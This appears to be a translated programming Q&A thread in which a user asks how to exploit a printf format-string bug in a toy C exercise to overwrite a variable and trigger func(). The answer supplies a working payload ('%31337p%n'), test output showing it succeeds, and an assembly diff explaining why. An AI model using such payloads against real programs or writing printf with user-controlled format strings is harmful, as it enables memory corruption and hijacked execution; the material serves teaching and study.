2013-01-24 57 views
3
#include <stdio.h> 
int main() 
{ 
    char s[200] 
    int a=123; 
    int b=&a; 
    scanf("%50s",s); 
    printf(s); 

    if (a==31337) 
     func(); 
} 

目标是执行格式字符串攻击 - 通过输入字符串来执行func()。我试图用%n来覆盖变量,但我得出的结论是,这是不可能的,不先显示b变量,我不知道如何。任何暗示将不胜感激。对不起,我的英语不好。printf中的格式化字符串攻击

+2

'printf(s)',其中's'由用户输入,本质上是不安全的 - 我想这是你问题的要点。任何此类攻击都可以并且应该避免简单地通过不写。格式字符串应该几乎总是字符串文字。 –

+0

'int b =&a;'无效。你是不是指'int * b =&a;'? –

+0

是的,这正是我的问题。这是我应该做的练习。任何人都可以提供如何通过输入字符串来执行func()的例子吗? –

回答

1

让我们尝试使用和不使用打印:

$ cat > f.c << \EOF 
#include <stdio.h> 
void func() { 
    fprintf(stderr, "func\n"); 
} 

int main() 
{ 
    char s[200]; 
    int a=123; 
    int b=&a; 
    #ifdef FIXER 
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */ 
    #endif 
    scanf("%50s",s); 
    printf(s); 

    if (a==31337) 
     func(); 
} 
EOF 

$ gcc --version | head -n 1; uname -m 
gcc (Debian 4.7.2-5) 4.7.2 
i686 

$ gcc -S f.c -o doesnt_work.s 
f.c: In function 'main': 
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] 
$ gcc -S -DFIXER f.c -o does_work.s 
f.c: In function 'main': 
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default] 

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work 


$ echo '%31337p%n' | ./does_work > /dev/null 
0xbfe75970 
func 

$ echo '%31337p%n' | ./doesnt_work > /dev/null 
Segmentation fault 

如问题所说,我们清楚地看到,没有打印b第一失败。

让我们比较一下里面是什么hapenning:

$ diff -ur does_work.s doesnt_work.s 
--- does_work.s 2013-02-06 03:17:06.000000000 +0300 
+++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300 
@@ -29,8 +29,6 @@ 
    .size func, .-func 
    .section .rodata 
.LC1: 
- .string "%p\n" 
-.LC2: 
    .string "%50s" 
    .text 
    .globl main 
@@ -48,15 +46,9 @@ 
    movl $123, 16(%esp) 
    leal 16(%esp), %eax 
    movl %eax, 220(%esp) 
- movl stderr, %eax 
- movl 220(%esp), %edx /* !!! */ 
- movl %edx, 8(%esp)  /* !!! */ 
- movl $.LC1, 4(%esp) 
- movl %eax, (%esp) 
- call fprintf 
    leal 20(%esp), %eax 
    movl %eax, 4(%esp) 
- movl $.LC2, (%esp) 
+ movl $.LC1, (%esp) 
    call __isoc99_scanf 
    leal 20(%esp), %eax 
    movl %eax, (%esp) 

在我们看到标线“获得b值到EDX%,然后把它作为堆栈3'rd的说法。”

由于printf和scanf使用cdecl调用约定,因此堆栈在调用中保持大致相同,所以第三个参数仍然可用于易受攻击的printf进行设置。

当我们不打印b时,它没有进入堆栈以便我们的注入格式字符串很容易获得。

With enough %p%p%p%p%p%p...无论如何,我们应该能够达到我们的实际ab,但50个输入字符的限制正在阻碍我们。